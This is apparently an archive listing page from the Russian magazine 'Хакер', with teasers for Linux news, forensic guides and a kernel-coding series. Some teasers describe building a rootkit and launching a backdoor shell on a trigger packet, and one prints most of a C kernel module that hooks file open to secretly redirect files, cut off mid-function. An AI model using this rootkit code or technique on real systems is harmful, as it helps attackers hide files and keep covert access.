Временная скидка 60% на годовую подписку!
Главная Linux (страница 38)

Linux

CoLinux помешает Microsoft

Dan Aloni, 21-летний студент, расшевелил компьютерную мировую общественность, разработав Linux-приложение, работающее под оп…

Исследование взломанной Linux системы №2

Итак, все инструменты для анализ собраны - пора приступать к анализу данных.  Начинать надо, понятное дело, с того, что может измениться в любой момент, а затем уже переходить к той информации, которая находится в относительно неизменном состоянии.

RH Linux 7.3: для дома, для семьи

Почему именно рассказ об оптимизации и о 7.3, а не о чем либо другом? Почему об оптимизации, начальной настройке читайте ниже, а почему 7.3? Наверное потому, что это самый удачный дистрибутив (из РедХат-подобных) для машин с процессорами ниже 1 Ггц и памятью менее 128Мб, сохраняющий оптимальное соотношение простота/скорость/актуальность

Linux — азиатский ответ M$

Представители стран Китая, Японии и Южной Кореи в эту субботу провели встречу в Пекине для обсуждения планов по раскрутке оп…

Исследование взломанной Linux системы №1

Расследуя взлом системы можно столкнутся с ситуацией, когда скомпрометированная система еще не выключена пользователем или администратором. На самом деле это уникальный шанс собрать много важной информации, которая после перезагрузки будет потеряна

Новый SuSE Linux

Компания Novell объявила о выходе новой версии дистрибутива SuSE Linux с номером версии 9.

Linux для марсохода

Linux обеспечивает инфраструктуру, стоящую за передачей изображений с марсохода Mars Rover и за миссией Европейского космиче…

Linux для работы и быта

Разработчики программного обеспечения Wind River Systems и Red Hat заявили на прошлой неделе о начале сотрудничества. Он…

ASPLinux от 1C

Компании ASPLinux и фирма «1С» объявили о начале совместной работы.

Кодим в ядре Linux`а №7

Hi! Итак, сегодня мы поговорим о том, как собрать все изученные фишки вместе и закодить полноценный руткит. Любой руткит должен уметь делать хотя бы 3 базовые фишки:

Бундесы переходят на Linux

Компания IBM и Министерство финансов ФРГ заключили крупный контракт на поставку компьютерного оборудования на базе операцион…

Linux через ХР

25 января в рассылке разработчиков ядра Linux (LKML) было объявлено о возможности запуска ядра Linux как отдельного процесса…

Кодим в ядре Linux`а №6

Получение и отправление сетевых пакетов в ядре. Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall'а. Но лично мне больше нравится метод инсталяции своего packet handler'а (обработчика пакетов)

Кодим в ядре Linux`а №5

Hola, amigos! Запуск обычных user-land программ из ядра. Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе интерпретатор языка Perl для выполнения скриптов

Кодим в ядре Linux`а №4

/* Redir by Alekz Under (skleroz@pisem.net) This module allows you to redirect files in your system. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/string.h> // include файлы нужные для работы с файловой системой #include <linux/slab.h> #include <linux/locks.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/smp_lock.h> struct file_operations * fop; struct file_operations orig_fop; struct nameidata kernel_nd; // структкра в которой мы будем хранить имена и иноды настоящего и обманного файлов struct redirect_struct { long int orig_ino, redir_ino; char * orig_fname, * redir_fname; struct redirect_struct *next, *prev; }; struct redirect_struct *redirects; int redirect_add(char *orig, char *redir); void redirect_del(char *orig); int wrap_open(struct inode *ino, struct file *filp); // эта функция по названию файла находит номер его inode'а long int get_inode_num(char *filename) { int err; long int inode_num; struct nameidata nd; if (path_init(filename, 0, &nd)) err = path_walk(filename, &nd); if (err) return 0; inode_num = nd.dentry->d_inode->i_ino; path_release(&nd); return inode_num; } int wrap_open(struct inode *ino, struct file *filp) { struct redirect_struct *redir; // просматриваем список редиректов // вместо связного списка можно использовать массив for(redir = redirects; redir != NULL; redir = redir->next) { // открываемый файл есть в нашем списке редиректов?  if(filp->f_dentry->d_inode->i_ino == redir->orig_ino) { int ret; struct nameidata nd; // открываем обманный файл if (path_init(redir->redir_fname, 0, &nd)) ret = path_walk(redir->redir_fname, &nd); if (ret) /*error! файл не найден!*/ return -1; /* orig_fop.open(ino, filp); */ lock_kernel(); // закрываем настоящий файл dput(filp->f_dentry); // заменяем структуры так, что данные будут читаться из обманного файла, а не из настоящего filp->f_dentry = nd.dentry; unlock_kernel(); } } // вызываем настоящую open return orig_fop.open(ino, filp); } // эта функция добавляет файлы для редиректа в список int redirect_add(char *orig_fname, char *redir_fname) { struct redirect_struct *redir, *tmp; // заказываем память для структуры redir = kmalloc(sizeof(struct redirect_struct), GFP_ATOMIC); if(!redir) return -1; // память для имен файлов redir->orig_fname = kmalloc(strlen(orig_fname)+1, GFP_ATOMIC); redir->redir_fname = kmalloc(strlen(redir_fname)+1, GFP_ATOMIC); if(!redir->orig_fname || !redir->redir_fname) { kfree(redir); return -1; } strcpy(redir->orig_fname, orig_fname); strcpy(redir->redir_fname, redir_fname); // определяем номера инодов redir->orig_ino = get_inode_num(orig_fname); redir->redir_ino = get_inode_num(redir_fname); if(!redir->orig_ino || !redir->redir_ino) { kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return -1; } if(!redirects) { redirects = redir; redirects->next = NULL; redirects->prev = NULL; return 0; } // ищем место куда воткнуть структуру редиректа // код сложный, так как производится сортировка по номерам inode'в, что бы быстрее просматривать этот список в wrap_open for(tmp = redirects; tmp->next != NULL; tmp = tmp->next) { if(tmp->orig_ino < redir->orig_ino) { redir->next = tmp; if(tmp == redirects) { redir->prev = NULL; redirects->prev = redir; redirects = redir; } else { redir->prev = tmp->prev; tmp->prev->next = redir; } return 0; } else if(redir->orig_ino == tmp->orig_ino) { // уже редиректим этот файл kfree(redir->orig_fname); kfree(redir->redir_fname); kfree(redir); return 0; } } // все номера inode'ов настоящих файлов больше redir->orig_ino - просто добавить структуру в конец списка redir->next = tmp->next; redir->prev = tmp; tmp->next = redir; return 0; } // эта функция удаляет структуру-редиректа из списка void redirect_del(char *orig) { struct redirect_struct *tmp; long int orig_ino = get_inode_num(orig); for(tmp = redirects; tmp != NULL; tmp = tmp->next) { if(tmp->orig_ino == orig_ino) { // нашли..

Кодим в ядре Linux`а №3

Хай пиплы! Эта статья посвящается классным girls: Юле, двум Аням, Наташе и Тане :-) Если ты не читал первую и вторую части, рекомендую все-таки прочитать ее перед тем как читать эту. После публикации первой части ко мне пришли письма с вопросами, поэтому я решил начать эту часть с нескольких советов по поводу часто встречающихся проблем: Если немножко не совпадают версии ядра с которым работаешь и для которого был скомпилирован модуль и insmod module.o пишет что-то типа:

Linux kernel эксплоит

Paul Starzetz и Wojciech Purczynski из польской группы iSEC Security Research сообщают об обнаружении уязвимости в ядрах Lin…

Страница 38 из 41В начало...1020303637383940 ...
Гарда: Сохранить

Бумажный спецвыпуск

Cyber Camp 2025

Еженедельный дайджест

Спасибо за подписку! Мы будем присылать важные новости ИБ в еженедельном дайджесте
Ошибка при подписке Случилась ошибка при создании подписки на наш дайджест. Пожалуйста, попробуйте позднее
Важные события и скидка на подписку:
«ХАКЕР» ДОСТУПЕН ТОЛЬКО В ЭЛЕКТРОННОЙ ВЕРСИИ
Оформи подписку — получи:
  • доступ к платным материалам сайта
  • доступ ко всем номерам PDF
4500 р.
на год
450 р.
на месяц

«Хакер» в соцсетях

Материалы для подписчиков